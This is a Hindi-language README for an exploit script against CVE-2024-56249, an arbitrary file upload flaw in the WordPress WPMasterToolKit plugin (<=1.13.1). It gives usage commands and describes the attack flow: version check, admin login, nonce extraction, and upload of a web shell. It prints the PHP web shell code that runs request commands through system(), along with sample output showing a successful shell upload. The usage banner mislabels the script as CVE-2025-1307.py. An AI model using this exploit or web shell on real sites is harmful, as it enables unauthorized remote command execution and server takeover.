
WordPress WPMasterToolKit प्लगइन <= 1.13.1 - मनमाना फ़ाइल अपलोड भेद्यता
यह स्क्रिप्ट WordPress WPMasterToolKit प्लगइन में एक आर्बिट्रेरी फ़ाइल अपलोड कमजोरी का शोषण करती है, जिससे हमलावर सर्वर पर एक वेब शेल अपलोड कर सकता है। यह कमजोरी प्लगइन के संस्करण <= 1.13.1 में मौजूद है।
इस कमजोरी का शोषण करने के लिए निम्नलिखित कमांड का उपयोग करें:
python CVE-2024-56249.py -u <URL> -un <USERNAME> -p <PASSWORD> -fn <FILENAME>
-u / --url: लक्ष्य WordPress URL (जैसे, http://192.168.100.74:888/wordpress)-un / --username: WordPress एडमिन उपयोगकर्ता नाम-p / --password: WordPress एडमिन पासवर्ड-fp / --filepath: फ़ाइल अपलोड पथ (डिफ़ॉल्ट: wp-content/uploads/2025/03)-fn / --filename: अपलोड करने के लिए फ़ाइल नाम (डिफ़ॉल्ट: shell.php)स्क्रिप्ट WPMasterToolKit प्लगइन के संस्करण की जाँच करके लक्ष्य URL की कमजोरी (CVE-2024-56249) की पुष्टि करती है।
फिर यह प्रदान किए गए क्रेडेंशियल का उपयोग करके WordPress एडमिन पैनल में लॉग इन करने का प्रयास करती है।
सफल लॉगिन के बाद, स्क्रिप्ट फ़ाइल अपलोड के लिए आवश्यक सुरक्षा टोकन (नॉन्स और टोकन) निकालती है।
यह निकाले गए टोकन का उपयोग करके लक्ष्य सर्वर पर निर्दिष्ट फ़ाइल (जैसे, एक वेब शेल) अपलोड करती है।
अंत में, स्क्रिप्ट लक्ष्य URL के माध्यम से फ़ाइल की पहुँच की जाँच करके यह सत्यापित करती है कि फ़ाइल सफलतापूर्वक अपलोड हुई है या नहीं।
सुनिश्चित करें कि शेल फ़ाइल (जैसे, shell.php) स्क्रिप्ट को चलाने से पहले उसी निर्देशिका में रखी गई है। स्क्रिप्ट के लिए फ़ाइल को सफलतापूर्वक ढूँढ़ने और अपलोड करने के लिए यह आवश्यक है।
shell.php)<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
python CVE-2024-56249.py -u http://target -un admin -p admin -fn shell.php
python CVE-2024-56249.py -u http://target -un admin -p admin -fn shell.php
[🔍] Detected plugin version: 1.13.1
[🔥] Target is VULNERABLE to CVE-2024-56249! Exploiting...
[🔑] Attempting to log in...
[✅] Authentication successful!
[📡] Extracting security tokens...
[✅] Extracted nonce: e4ae47c8d8
[✅] Extracted token: e4ae47c8d8
[📤] Attempting to upload shell.php to wp-content/uploads/2025/03...
[✅] Upload request sent successfully.
[🔥] Shell successfully uploaded! Access it here: http://target/wp-content/uploads/2025/03/shell.php
usage: CVE-2025-1307.py [-h] -u URL -un USERNAME -p PASSWORD [-fp FILEPATH] [-fn FILENAME]
Master Toolkit Exploit CVE-2024-56249 #by Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://192.168.100.74:888/wordpress4/)
-un, --username USERNAME
WordPress admin username
-p, --password PASSWORD
WordPress admin password
-fp, --filepath FILEPATH
File upload path (default: wp-content/uploads/2025/03)
-fn, --filename FILENAME
File name to upload (default: shell.php)
यह उपकरण केवल शैक्षिक उद्देश्यों के लिए है। इसका उपयोग अपने जोखिम पर करें। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
एक्सप्लॉइट स्क्रिप्ट द्वारा Nxploit | Khaled Alenazi